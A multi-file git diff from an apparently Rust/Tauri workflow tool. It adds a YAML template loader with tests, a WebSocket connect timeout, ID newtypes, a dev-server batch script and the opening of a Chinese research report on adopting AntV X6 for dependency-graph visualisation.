||||
/// 删除 keyring 密钥(provider 删除时清理)
|
||||
pub fn delete_provider_secret(id: &str) -> anyhow::Result<()> {
|
||||
let entry = entry_for(id)?;
|
||||
entry.delete_credential().map_err(|e| anyhow::anyhow!("keyring 删除失败(provider={}): {}", id, e))
|
||||
}
|
||||
|
||||
/// [`delete_provider_secret`] 的 async 版本(`spawn_blocking` 隔离同步 keyring 调用)。
|
||||
pub async fn delete_provider_secret_async(id: String) -> anyhow::Result<()> {
|
||||
tokio::task::spawn_blocking(move || delete_provider_secret(&id))
|
||||
.await
|
||||
.map_err(|e| anyhow::anyhow!("delete_provider_secret join 失败: {}", e))?
|
||||
}
|
||||
|
||||
/// 启动一次性迁移:DB 明文 → keyring → DB 置空(失败保留明文下次重试,非阻断)
|
||||
pub async fn migrate_secrets_to_keyring(repo: &AiProviderRepo) -> anyhow::Result<usize> {
|
||||
let providers = repo.list_all().await?;
|
||||
|
||||
@@ -94,6 +94,13 @@ pub trait TunnelClient: Send + Sync {
|
||||
/// 此窗口内若收到 error 帧或连接 Close,判定握手失败)
|
||||
const HANDSHAKE_PROBE: Duration = Duration::from_secs(3);
|
||||
|
||||
/// TCP/WS 建立连接(connect_async)超时上限。
|
||||
///
|
||||
/// 对齐 df-ai http.rs connect_timeout(15s):relay URL 不可达(TCP SYN 无响应)时
|
||||
/// connect_async 会挂 60-120s 才返系统 timeout,Tauri 单线程 tokio runtime 卡死。
|
||||
/// 包 `tokio::time::timeout` 在此窗口内未完成 → 返 TunnelError::Connect 显式错误。
|
||||
const CONNECT_TIMEOUT: Duration = Duration::from_secs(15);
|
||||
|
||||
/// 心跳间隔(应用层 Ping,补协议层 keepalive,防 NAT 连接表超时回收)
|
||||
const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(25);
|
||||
|
||||
@@ -177,10 +184,18 @@ impl TunnelClient for WsTunnelClient {
|
||||
self.cleanup_conn().await;
|
||||
}
|
||||
|
||||
// 1. 建立 WS 连接
|
||||
let (ws_stream, _resp) = tokio_tungstenite::connect_async(url)
|
||||
.await
|
||||
.map_err(|e| TunnelError::Connect(format!("WS 连接失败 {url}: {e}")))?;
|
||||
// 1. 建立 WS 连接(包 CONNECT_TIMEOUT 防 relay 不可达时永久挂 — TCP SYN 无响应
|
||||
// 系统 timeout 60-120s 才返,Tauri 单线程 tokio runtime 会卡死。对齐 df-ai http.rs
|
||||
// connect_timeout(15s)。保留原错误映射语义:TunnelError::Connect(format!("WS 连接失败 ..."))
|
||||
let connect_fut = tokio_tungstenite::connect_async(url);
|
||||
let (ws_stream, _resp) = match tokio::time::timeout(CONNECT_TIMEOUT, connect_fut).await {
|
||||
Ok(res) => res.map_err(|e| TunnelError::Connect(format!("WS 连接失败 {url}: {e}")))?,
|
||||
Err(_) => {
|
||||
return Err(TunnelError::Connect(format!(
|
||||
"WS 连接超时(>{CONNECT_TIMEOUT:?} 无响应){url}"
|
||||
)));
|
||||
}
|
||||
};
|
||||
tracing::info!(%url, "WS 连接已建立,开始 Hello 握手");
|
||||
|
||||
let (mut sink, mut stream) = ws_stream.split();
|
||||
|
||||
@@ -435,6 +435,7 @@ mod tests {
|
||||
status: ProjectStatus::InProgress,
|
||||
description: "AI-native dev tool".to_string(),
|
||||
path: Some(SanitizedPath::new("E:/wk-lab/devflow")),
|
||||
extra: vec![],
|
||||
};
|
||||
let json = serde_json::to_string(&a).expect("serialize");
|
||||
assert!(json.contains("\"kind\":\"project\""));
|
||||
@@ -452,6 +453,7 @@ mod tests {
|
||||
status: ProjectStatus::Planning,
|
||||
description: String::new(),
|
||||
path: None,
|
||||
extra: vec![],
|
||||
};
|
||||
let json = serde_json::to_string(&a).expect("serialize");
|
||||
// skip_serializing_if 生效:path 字段不出现在 JSON 中
|
||||
@@ -469,6 +471,7 @@ mod tests {
|
||||
status: TaskStatus::Todo,
|
||||
description: "do X".to_string(),
|
||||
project_name: Some("devflow".to_string()),
|
||||
extra: vec![],
|
||||
};
|
||||
let json = serde_json::to_string(&a).expect("serialize");
|
||||
assert!(json.contains("\"kind\":\"task\""));
|
||||
@@ -485,6 +488,7 @@ mod tests {
|
||||
title: "Multi-round parallel".to_string(),
|
||||
status: IdeaStatus::Approved,
|
||||
description: "desc".to_string(),
|
||||
extra: vec![],
|
||||
};
|
||||
let json = serde_json::to_string(&a).expect("serialize");
|
||||
assert!(json.contains("\"kind\":\"idea\""));
|
||||
@@ -520,6 +524,7 @@ mod tests {
|
||||
status: ProjectStatus::Planning,
|
||||
description: String::new(),
|
||||
path: None,
|
||||
extra: vec![],
|
||||
};
|
||||
assert_eq!(p.kind_str(), "project");
|
||||
assert_eq!(p.section_label(), "项目");
|
||||
|
||||
@@ -22,8 +22,68 @@ pub type ReleaseId = String;
|
||||
pub type BranchId = String;
|
||||
/// 插件 ID
|
||||
pub type PluginId = String;
|
||||
/// 执行 ID
|
||||
pub type ExecutionId = String;
|
||||
/// 执行 ID(IPC 边界透明序列化为字符串)
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq, Hash, Default)]
|
||||
#[serde(transparent)]
|
||||
pub struct ExecutionId(String);
|
||||
|
||||
impl ExecutionId {
|
||||
/// 构造新执行 ID
|
||||
pub fn new(s: impl Into<String>) -> Self {
|
||||
Self(s.into())
|
||||
}
|
||||
}
|
||||
|
||||
impl std::fmt::Display for ExecutionId {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
write!(f, "{}", self.0)
|
||||
}
|
||||
}
|
||||
|
||||
impl std::ops::Deref for ExecutionId {
|
||||
type Target = str;
|
||||
fn deref(&self) -> &str {
|
||||
&self.0
|
||||
}
|
||||
}
|
||||
|
||||
impl From<String> for ExecutionId {
|
||||
fn from(s: String) -> Self {
|
||||
Self(s)
|
||||
}
|
||||
}
|
||||
|
||||
impl From<&str> for ExecutionId {
|
||||
fn from(s: &str) -> Self {
|
||||
Self(s.to_owned())
|
||||
}
|
||||
}
|
||||
|
||||
impl From<ExecutionId> for String {
|
||||
fn from(id: ExecutionId) -> Self {
|
||||
id.0
|
||||
}
|
||||
}
|
||||
|
||||
// ExecutionId 与 &str 的比较(测试/匹配中大量使用)
|
||||
impl PartialEq<&str> for ExecutionId {
|
||||
fn eq(&self, other: &&str) -> bool {
|
||||
self.0 == *other
|
||||
}
|
||||
}
|
||||
|
||||
impl PartialEq<str> for ExecutionId {
|
||||
fn eq(&self, other: &str) -> bool {
|
||||
self.0 == other
|
||||
}
|
||||
}
|
||||
|
||||
impl PartialEq<String> for ExecutionId {
|
||||
fn eq(&self, other: &String) -> bool {
|
||||
self.0 == *other
|
||||
}
|
||||
}
|
||||
|
||||
/// 决策 ID
|
||||
pub type DecisionId = String;
|
||||
/// 节点类型(如 ai / human / ai_self_review)
|
||||
@@ -31,7 +91,47 @@ pub type NodeType = String;
|
||||
/// 任务链接类型(如 depends_on / blocks / relates_to)
|
||||
pub type LinkType = String;
|
||||
/// 工具调用类型(如 function)
|
||||
pub type ToolCallType = String;
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq, Hash, Default)]
|
||||
#[serde(transparent)]
|
||||
pub struct ToolCallType(String);
|
||||
|
||||
impl ToolCallType {
|
||||
/// 构造新工具调用类型
|
||||
pub fn new(s: impl Into<String>) -> Self {
|
||||
Self(s.into())
|
||||
}
|
||||
}
|
||||
|
||||
impl std::fmt::Display for ToolCallType {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
write!(f, "{}", self.0)
|
||||
}
|
||||
}
|
||||
|
||||
impl std::ops::Deref for ToolCallType {
|
||||
type Target = str;
|
||||
fn deref(&self) -> &str {
|
||||
&self.0
|
||||
}
|
||||
}
|
||||
|
||||
impl From<String> for ToolCallType {
|
||||
fn from(s: String) -> Self {
|
||||
Self(s)
|
||||
}
|
||||
}
|
||||
|
||||
impl From<&str> for ToolCallType {
|
||||
fn from(s: &str) -> Self {
|
||||
Self(s.to_owned())
|
||||
}
|
||||
}
|
||||
|
||||
impl From<ToolCallType> for String {
|
||||
fn from(t: ToolCallType) -> Self {
|
||||
t.0
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// 时间工具
|
||||
@@ -72,7 +172,9 @@ pub enum IdeaStatus {
|
||||
|
||||
impl IdeaStatus {
|
||||
/// 返回数据库存储用的小写字符串
|
||||
pub fn as_str(&self) -> &'static str {
|
||||
///
|
||||
/// `const fn`(与 TaskStatus::as_str 对齐,允许调用方在 const 上下文使用)。
|
||||
pub const fn as_str(&self) -> &'static str {
|
||||
match self {
|
||||
IdeaStatus::Draft => "draft",
|
||||
IdeaStatus::PendingReview => "pending_review",
|
||||
@@ -128,7 +230,9 @@ pub enum ProjectStatus {
|
||||
|
||||
impl ProjectStatus {
|
||||
/// 返回数据库存储用的小写字符串
|
||||
pub fn as_str(&self) -> &'static str {
|
||||
///
|
||||
/// `const fn`(与 TaskStatus::as_str 对齐,允许调用方在 const 上下文使用)。
|
||||
pub const fn as_str(&self) -> &'static str {
|
||||
match self {
|
||||
ProjectStatus::Planning => "planning",
|
||||
ProjectStatus::InProgress => "in_progress",
|
||||
@@ -186,7 +290,10 @@ pub enum TaskStatus {
|
||||
|
||||
impl TaskStatus {
|
||||
/// 返回数据库存储用的小写字符串
|
||||
pub fn as_str(&self) -> &'static str {
|
||||
///
|
||||
/// `const fn` 使调用方可在 `const` 上下文调用(任务 #17 合并:df-nodes 的
|
||||
/// `task_state_machine` 字符串常量从本方法派生,消除双源柡移)。
|
||||
pub const fn as_str(&self) -> &'static str {
|
||||
match self {
|
||||
TaskStatus::Todo => "todo",
|
||||
TaskStatus::InProgress => "in_progress",
|
||||
|
||||
@@ -23,3 +23,4 @@ async-trait = { workspace = true }
|
||||
futures = "0.3"
|
||||
anyhow = { workspace = true }
|
||||
tracing = { workspace = true }
|
||||
serde_yaml = "0.9"
|
||||
|
||||
@@ -30,8 +30,10 @@ impl EventBus {
|
||||
|
||||
/// 发送事件
|
||||
pub async fn send(&self, event: WorkflowEvent) {
|
||||
// broadcast::send 是同步的,忽略接收者已关闭的错误
|
||||
let _ = self.sender.send(event);
|
||||
// broadcast::send 是同步的;接收者已关闭时记录警告
|
||||
if let Err(e) = self.sender.send(event) {
|
||||
tracing::warn!("EventBus 发送事件失败: {}", e);
|
||||
}
|
||||
}
|
||||
|
||||
/// 订阅事件
|
||||
|
||||
@@ -110,7 +110,7 @@ async fn node_config_overrides_global_in_node_context() {
|
||||
|
||||
let dag = registry.build_dag(&def).expect("build_dag");
|
||||
|
||||
let mut executor = DagExecutor::new(EventBus::new(), "test-nodecfg".to_string());
|
||||
let mut executor = DagExecutor::new(EventBus::new(), "test-nodecfg".into());
|
||||
// 全局 config 写 foo=GLOBAL(验证被 n1 节点级覆盖,n2 回退用全局)
|
||||
let outputs = executor
|
||||
.run(&dag, serde_json::json!({ "foo": "GLOBAL" }))
|
||||
@@ -138,7 +138,7 @@ async fn test_same_layer_runs_in_parallel() {
|
||||
dag.add_node("a".to_string(), Box::new(SleepNode { sleep_ms: 100 }));
|
||||
dag.add_node("b".to_string(), Box::new(SleepNode { sleep_ms: 100 }));
|
||||
|
||||
let mut executor = DagExecutor::new(EventBus::new(), "test-exec".to_string());
|
||||
let mut executor = DagExecutor::new(EventBus::new(), "test-exec".into());
|
||||
let start = std::time::Instant::now();
|
||||
let outputs = executor.run(&dag, serde_json::Value::Null).await.unwrap();
|
||||
let elapsed = start.elapsed();
|
||||
@@ -161,7 +161,7 @@ async fn test_layer_failure_aborts_following_layers() {
|
||||
dag.add_node("c".to_string(), Box::new(SleepNode { sleep_ms: 10 }));
|
||||
dag.add_edge("a".to_string(), "c".to_string());
|
||||
|
||||
let mut executor = DagExecutor::new(EventBus::new(), "test-exec".to_string());
|
||||
let mut executor = DagExecutor::new(EventBus::new(), "test-exec".into());
|
||||
let err = executor
|
||||
.run(&dag, serde_json::Value::Null)
|
||||
.await
|
||||
@@ -206,7 +206,7 @@ async fn test_cancelled_node_skips_set_failed() {
|
||||
let mut dag = Dag::new();
|
||||
dag.add_node("x".to_string(), Box::new(CancelSelfNode));
|
||||
|
||||
let mut executor = DagExecutor::new(EventBus::new(), "test-cancel".to_string());
|
||||
let mut executor = DagExecutor::new(EventBus::new(), "test-cancel".into());
|
||||
let result = executor.run(&dag, serde_json::Value::Null).await;
|
||||
|
||||
// run 返回 Err(取消致中止后续层),但不 panic/bail transition
|
||||
@@ -257,7 +257,7 @@ async fn test_cancelled_node_skips_set_completed() {
|
||||
let mut dag = Dag::new();
|
||||
dag.add_node("y".to_string(), Box::new(CancelSelfThenOkNode));
|
||||
|
||||
let mut executor = DagExecutor::new(EventBus::new(), "test-cancel-ok".to_string());
|
||||
let mut executor = DagExecutor::new(EventBus::new(), "test-cancel-ok".into());
|
||||
let result = executor.run(&dag, serde_json::Value::Null).await;
|
||||
|
||||
// run 返回 Ok —— Ok 节点不应因 TOCTOU 取消被误判为失败
|
||||
@@ -285,7 +285,7 @@ async fn test_cancelled_node_emits_node_cancelled_event() {
|
||||
|
||||
let bus = EventBus::new();
|
||||
let mut rx = bus.subscribe();
|
||||
let mut executor = DagExecutor::new(bus, "test-cancel-event".to_string());
|
||||
let mut executor = DagExecutor::new(bus, "test-cancel-event".into());
|
||||
let _ = executor.run(&dag, serde_json::Value::Null).await;
|
||||
|
||||
// 收集所有事件(run 已结束,事件总线无新事件)
|
||||
@@ -408,7 +408,7 @@ async fn conditions_eval_routes_by_edge_condition() {
|
||||
"$.ok == false".to_string(),
|
||||
);
|
||||
|
||||
let mut executor = DagExecutor::new(EventBus::new(), "test-cond-route".to_string());
|
||||
let mut executor = DagExecutor::new(EventBus::new(), "test-cond-route".into());
|
||||
let outputs = executor
|
||||
.run(&dag, serde_json::Value::Null)
|
||||
.await
|
||||
@@ -462,7 +462,7 @@ async fn conditions_eval_skip_keeps_pending() {
|
||||
"$.ok == false".to_string(),
|
||||
);
|
||||
|
||||
let mut executor = DagExecutor::new(EventBus::new(), "test-cond-skip".to_string());
|
||||
let mut executor = DagExecutor::new(EventBus::new(), "test-cond-skip".into());
|
||||
let outputs = executor
|
||||
.run(&dag, serde_json::Value::Null)
|
||||
.await
|
||||
@@ -504,7 +504,7 @@ async fn conditions_eval_unconditional_edge_always_passes() {
|
||||
"$.ok == false".to_string(),
|
||||
);
|
||||
|
||||
let mut executor = DagExecutor::new(EventBus::new(), "test-cond-mix".to_string());
|
||||
let mut executor = DagExecutor::new(EventBus::new(), "test-cond-mix".into());
|
||||
let outputs = executor
|
||||
.run(&dag, serde_json::Value::Null)
|
||||
.await
|
||||
|
||||
@@ -8,3 +8,4 @@ pub mod executor;
|
||||
pub mod node;
|
||||
pub mod registry;
|
||||
pub mod state;
|
||||
pub mod template_loader;
|
||||
|
||||
@@ -15,6 +15,17 @@ use std::sync::{Arc, Mutex};
|
||||
use df_types::types::{NodeId, NodeStatus};
|
||||
|
||||
/// 节点状态机
|
||||
///
|
||||
/// # ⚠️ 并发安全警告
|
||||
///
|
||||
/// `state_machine` 方法(`get`、`transition`、`set_running`、`set_completed`、
|
||||
/// `set_failed`、`set_cancelled`、`snapshot`、`is_cancelled`)内部持锁
|
||||
/// (`self.states.lock()`),**不得在 `.await` 期间持锁**。
|
||||
/// 若在异步上下文中调用,请确保获取结果后立即释放锁(即不要将锁跨越
|
||||
/// `.await` 点)。当前所有方法均为同步且及时释放,符合此规则。
|
||||
///
|
||||
/// 共享语义:内部用 `Arc<Mutex<HashMap>>`,`clone()` 为浅拷贝(Arc 引用计数 +1),
|
||||
/// 所有 clone 共享同一底层 HashMap。
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct StateMachine {
|
||||
/// 节点状态映射(Arc 共享,clone 浅拷贝同一 HashMap)
|
||||
|
||||
330
crates/df-workflow/src/template_loader.rs
Normal file
330
crates/df-workflow/src/template_loader.rs
Normal file
@@ -0,0 +1,330 @@
|
||||
//! YAML 模板加载器 — 从 YAML 字符串加载 DagDef + 校验
|
||||
//!
|
||||
//! 模板格式:
|
||||
//! ```yaml
|
||||
//! name: 代码审查
|
||||
//! description: AI 驱动的代码审查流程
|
||||
//! nodes:
|
||||
//! review:
|
||||
//! type: ai
|
||||
//! config:
|
||||
//! prompt: "审查以下代码变更..."
|
||||
//! persona_id: reviewer
|
||||
//! notify:
|
||||
//! type: notify
|
||||
//! config:
|
||||
//! type: desktop
|
||||
//! title: "审查完成"
|
||||
//! edges:
|
||||
//! - from: review
|
||||
//! to: notify
|
||||
//! ```
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::collections::HashMap;
|
||||
|
||||
use crate::dag_def::{DagDef, EdgeDef, NodeDef};
|
||||
|
||||
/// YAML 模板顶层结构
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct WorkflowTemplate {
|
||||
pub name: String,
|
||||
#[serde(default)]
|
||||
pub description: String,
|
||||
pub nodes: HashMap<String, TemplateNode>,
|
||||
#[serde(default)]
|
||||
pub edges: Vec<TemplateEdge>,
|
||||
}
|
||||
|
||||
/// 模板节点(YAML 友好命名)
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct TemplateNode {
|
||||
/// 节点类型(ai/script/human/git/http/notify/subflow)
|
||||
#[serde(rename = "type")]
|
||||
pub node_type: String,
|
||||
#[serde(default)]
|
||||
pub config: serde_json::Value,
|
||||
#[serde(default)]
|
||||
pub label: Option<String>,
|
||||
}
|
||||
|
||||
/// 模板边(YAML 友好命名)
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct TemplateEdge {
|
||||
pub from: String,
|
||||
pub to: String,
|
||||
#[serde(default)]
|
||||
pub condition: Option<String>,
|
||||
}
|
||||
|
||||
/// 模板加载错误
|
||||
#[derive(Debug)]
|
||||
pub enum TemplateError {
|
||||
/// YAML 解析失败
|
||||
YamlParse(String),
|
||||
/// 校验失败(空节点/未知类型/依赖环)
|
||||
Validation(String),
|
||||
}
|
||||
|
||||
impl std::fmt::Display for TemplateError {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
Self::YamlParse(msg) => write!(f, "YAML 解析失败: {}", msg),
|
||||
Self::Validation(msg) => write!(f, "模板校验失败: {}", msg),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl std::error::Error for TemplateError {}
|
||||
|
||||
/// 已知的节点类型白名单
|
||||
const KNOWN_NODE_TYPES: &[&str] = &[
|
||||
"ai", "script", "human", "git", "http", "notify", "subflow",
|
||||
];
|
||||
|
||||
/// 从 YAML 字符串加载模板并转换为 DagDef
|
||||
///
|
||||
/// 步骤:
|
||||
/// 1. YAML → WorkflowTemplate(serde_yaml)
|
||||
/// 2. 校验(节点非空/类型合法/边引用存在/无环)
|
||||
/// 3. 转换为 DagDef
|
||||
pub fn load_template(yaml: &str) -> Result<DagDef, TemplateError> {
|
||||
// 1. YAML 解析
|
||||
let template: WorkflowTemplate = serde_yaml::from_str(yaml)
|
||||
.map_err(|e| TemplateError::YamlParse(e.to_string()))?;
|
||||
|
||||
// 2. 校验
|
||||
validate_template(&template)?;
|
||||
|
||||
// 3. 转换为 DagDef
|
||||
let mut dag = DagDef::new();
|
||||
for (id, node) in &template.nodes {
|
||||
dag.nodes.insert(
|
||||
id.clone(),
|
||||
NodeDef {
|
||||
id: id.clone(),
|
||||
node_type: node.node_type.clone(),
|
||||
config: node.config.clone(),
|
||||
label: node.label.clone(),
|
||||
},
|
||||
);
|
||||
}
|
||||
for edge in &template.edges {
|
||||
dag.edges.push(EdgeDef {
|
||||
source: edge.from.clone(),
|
||||
target: edge.to.clone(),
|
||||
condition: edge.condition.clone(),
|
||||
});
|
||||
}
|
||||
|
||||
Ok(dag)
|
||||
}
|
||||
|
||||
/// 校验模板结构
|
||||
fn validate_template(t: &WorkflowTemplate) -> Result<(), TemplateError> {
|
||||
// 节点非空
|
||||
if t.nodes.is_empty() {
|
||||
return Err(TemplateError::Validation("模板节点不能为空".into()));
|
||||
}
|
||||
|
||||
// 节点类型合法
|
||||
for (id, node) in &t.nodes {
|
||||
if !KNOWN_NODE_TYPES.contains(&node.node_type.as_str()) {
|
||||
return Err(TemplateError::Validation(format!(
|
||||
"节点 '{}' 使用了未知类型 '{}',已知类型: {:?}",
|
||||
id, node.node_type, KNOWN_NODE_TYPES
|
||||
)));
|
||||
}
|
||||
}
|
||||
|
||||
// 边引用的节点存在
|
||||
let node_ids: std::collections::HashSet<&String> = t.nodes.keys().collect();
|
||||
for edge in &t.edges {
|
||||
if !node_ids.contains(&edge.from) {
|
||||
return Err(TemplateError::Validation(format!(
|
||||
"边的起点 '{}' 不存在", edge.from
|
||||
)));
|
||||
}
|
||||
if !node_ids.contains(&edge.to) {
|
||||
return Err(TemplateError::Validation(format!(
|
||||
"边的终点 '{}' 不存在", edge.to
|
||||
)));
|
||||
}
|
||||
}
|
||||
|
||||
// 依赖无环(DFS 检测)
|
||||
if has_cycle(&t.edges) {
|
||||
return Err(TemplateError::Validation("依赖存在环".into()));
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// DFS 检测边列表是否有环
|
||||
fn has_cycle(edges: &[TemplateEdge]) -> bool {
|
||||
use std::collections::{HashMap, HashSet};
|
||||
|
||||
// 建邻接表
|
||||
let mut adj: HashMap<&str, Vec<&str>> = HashMap::new();
|
||||
for e in edges {
|
||||
adj.entry(e.from.as_str()).or_default().push(e.to.as_str());
|
||||
}
|
||||
|
||||
let mut visited: HashSet<&str> = HashSet::new();
|
||||
let mut in_stack: HashSet<&str> = HashSet::new();
|
||||
|
||||
fn dfs<'a>(
|
||||
node: &'a str,
|
||||
adj: &HashMap<&'a str, Vec<&'a str>>,
|
||||
visited: &mut HashSet<&'a str>,
|
||||
in_stack: &mut HashSet<&'a str>,
|
||||
) -> bool {
|
||||
if in_stack.contains(node) {
|
||||
return true; // 环
|
||||
}
|
||||
if visited.contains(node) {
|
||||
return false; // 已访问过,无环
|
||||
}
|
||||
visited.insert(node);
|
||||
in_stack.insert(node);
|
||||
if let Some(neighbors) = adj.get(node) {
|
||||
for next in neighbors {
|
||||
if dfs(next, adj, visited, in_stack) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
in_stack.remove(node);
|
||||
false
|
||||
}
|
||||
|
||||
for e in edges {
|
||||
let start = e.from.as_str();
|
||||
if dfs(start, &adj, &mut visited, &mut in_stack) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn tpl_01_valid_template_loads() {
|
||||
let yaml = r#"
|
||||
name: 代码审查
|
||||
description: AI 驱动的代码审查
|
||||
nodes:
|
||||
review:
|
||||
type: ai
|
||||
config:
|
||||
prompt: "审查代码"
|
||||
notify:
|
||||
type: notify
|
||||
config:
|
||||
type: desktop
|
||||
title: "完成"
|
||||
edges:
|
||||
- from: review
|
||||
to: notify
|
||||
"#;
|
||||
let dag = load_template(yaml).unwrap();
|
||||
assert_eq!(dag.nodes.len(), 2);
|
||||
assert_eq!(dag.edges.len(), 1);
|
||||
assert!(dag.nodes.contains_key("review"));
|
||||
assert_eq!(dag.nodes.get("review").unwrap().node_type, "ai");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn tpl_02_empty_nodes_rejected() {
|
||||
let yaml = "name: 空\nnodes: {}\n";
|
||||
let result = load_template(yaml);
|
||||
assert!(matches!(result, Err(TemplateError::Validation(_))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn tpl_03_unknown_node_type_rejected() {
|
||||
let yaml = r#"
|
||||
name: test
|
||||
nodes:
|
||||
bad:
|
||||
type: unknown_type
|
||||
config: {}
|
||||
"#;
|
||||
let result = load_template(yaml);
|
||||
assert!(matches!(result, Err(TemplateError::Validation(_))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn tpl_04_cycle_detected() {
|
||||
let yaml = r#"
|
||||
name: 环
|
||||
nodes:
|
||||
a:
|
||||
type: ai
|
||||
config: {}
|
||||
b:
|
||||
type: ai
|
||||
config: {}
|
||||
edges:
|
||||
- from: a
|
||||
to: b
|
||||
- from: b
|
||||
to: a
|
||||
"#;
|
||||
let result = load_template(yaml);
|
||||
assert!(matches!(result, Err(TemplateError::Validation(ref msg)) if msg.contains("环")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn tpl_05_edge_to_nonexistent_rejected() {
|
||||
let yaml = r#"
|
||||
name: test
|
||||
nodes:
|
||||
a:
|
||||
type: ai
|
||||
config: {}
|
||||
edges:
|
||||
- from: a
|
||||
to: ghost
|
||||
"#;
|
||||
let result = load_template(yaml);
|
||||
assert!(matches!(result, Err(TemplateError::Validation(_))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn tpl_06_no_edges_ok() {
|
||||
let yaml = r#"
|
||||
name: 单节点
|
||||
nodes:
|
||||
solo:
|
||||
type: script
|
||||
config:
|
||||
command: "echo hello"
|
||||
"#;
|
||||
let dag = load_template(yaml).unwrap();
|
||||
assert_eq!(dag.nodes.len(), 1);
|
||||
assert!(dag.edges.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn tpl_07_invalid_yaml_rejected() {
|
||||
let yaml = "not: valid: yaml: {{{";
|
||||
let result = load_template(yaml);
|
||||
assert!(matches!(result, Err(TemplateError::YamlParse(_))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn tpl_08_all_known_node_types() {
|
||||
for nt in KNOWN_NODE_TYPES {
|
||||
let yaml = format!(
|
||||
"name: test\nnodes:\n n:\n type: {}\n config: {{}}",
|
||||
nt
|
||||
);
|
||||
let result = load_template(&yaml);
|
||||
assert!(result.is_ok(), "节点类型 {} 应合法", nt);
|
||||
}
|
||||
}
|
||||
}
|
||||
10
dev-server.bat
Normal file
10
dev-server.bat
Normal file
@@ -0,0 +1,10 @@
|
||||
@echo off
|
||||
cd /d E:\wk-lab\devflow
|
||||
echo [dev] 启动 DevFlow 开发服务器...
|
||||
echo [dev] Vite + Tauri 后端将同时启动
|
||||
echo [dev] 请勿关闭此窗口
|
||||
echo.
|
||||
C:\Users\23780\.bun\bin\bun.exe run tauri dev
|
||||
echo.
|
||||
echo [dev] 服务器已停止
|
||||
pause
|
||||
328
docs/01-技术文档/AntV-X6调研报告与引入计划-2026-06-30.md
Normal file
328
docs/01-技术文档/AntV-X6调研报告与引入计划-2026-06-30.md
Normal file
@@ -0,0 +1,328 @@
|
||||
# AntV X6 技术调研报告与引入计划
|
||||
|
||||
> 创建: 2026-06-30 | 状态: 调研完成,待决策
|
||||
> 调研对象: AntV X6(图编辑与可视化引擎)
|
||||
> 数据来源: GitHub API(antvis/X6)+ npm registry 实时查询(2026-06-30)
|
||||
> 关联任务: `[子4] 前端:依赖关系图可视化`、`[子2] df-project:依赖图构建`
|
||||
|
||||
---
|
||||
|
||||
## 一、为什么调研 X6
|
||||
|
||||
DevFlow 正在推进 **多工程/多仓库项目组织** 功能(任务列表中的父任务「多工程/多仓库项目组织」拆出 5 个子任务)。其中:
|
||||
|
||||
- `[子2]` 后端需构建 `ModuleDependencyGraph`(工程间依赖图数据结构)
|
||||
- `[子4]` 前端需 **依赖关系图可视化**(节点 = 工程,边 = 依赖关系,支持交互)
|
||||
|
||||
当前 DevFlow 前端(`src/`)**零图可视化依赖**(已 grep 确认:无 d3 / vis-network / cytoscape / antv / x6 / jointjs / reactflow)。需要选型一个图引擎承担可视化层。
|
||||
|
||||
X6 是这次选型的重点候选,本报告评估其是否适合 DevFlow。
|
||||
|
||||
---
|
||||
|
||||
## 二、X6 是什么
|
||||
|
||||
**AntV X6** 是蚂蚁集团 AntV 数据可视化团队开源的 **图编辑与可视化引擎**(Graph Editing and Visualization Engine)。
|
||||
|
||||
- GitHub: https://github.com/antvis/X6
|
||||
- 文档: https://x6.antv.antgroup.com/
|
||||
- License: **MIT**
|
||||
- 定位: 专注 **节点-边图** 的交互式编辑与可视化
|
||||
|
||||
与纯图表库(ECharts/G2)的区别:X6 不是「把数据画成图」,而是「让用户在画布上编辑图」——拖拽节点、连线、布局、撤销重做、导出。这正是依赖图编辑器需要的形态。
|
||||
|
||||
---
|
||||
|
||||
## 三、关键数据(实时校准,非记忆)
|
||||
|
||||
> ⚠️ 网上多数博客仍停留在「v2.x」,**已过时**。以下为 2026-06-30 npm + GitHub API 实测。
|
||||
|
||||
### 3.1 版本现状
|
||||
|
||||
| 通道 | 版本 | 说明 |
|
||||
|---|---|---|
|
||||
| **latest** | **3.1.7** | 当前正式稳定版(v3 主线) |
|
||||
| beta | 3.1.4-beta.1 | 预发布通道 |
|
||||
| @antv/x6@1.35.1 | 1.35.1 | v1 旧线(仅维护,勿新用) |
|
||||
|
||||
**结论**:新项目直接上 **v3.1.7**,不要从 v1/v2 起步。v3 是当前活跃主线。
|
||||
|
||||
### 3.2 仓库活跃度
|
||||
|
||||
| 指标 | 数值 |
|
||||
|---|---|
|
||||
| Stars | 18.3k |
|
||||
| Forks | 2.5k |
|
||||
| Network | 1886 |
|
||||
| 最近 release | 持续迭代(2026 年仍有多次 release) |
|
||||
| 维护状态 | **活跃** |
|
||||
|
||||
### 3.3 最近 release 亮点(佐证活跃度)
|
||||
|
||||
近期 PR 修复了:
|
||||
- 节点事件无法冒泡到连线的问题(#4888)
|
||||
- stencil 插件搜索后高度自适应(#4975)
|
||||
|
||||
说明交互细节仍在持续打磨,非弃维项目。
|
||||
|
||||
---
|
||||
|
||||
## 四、核心能力清单
|
||||
|
||||
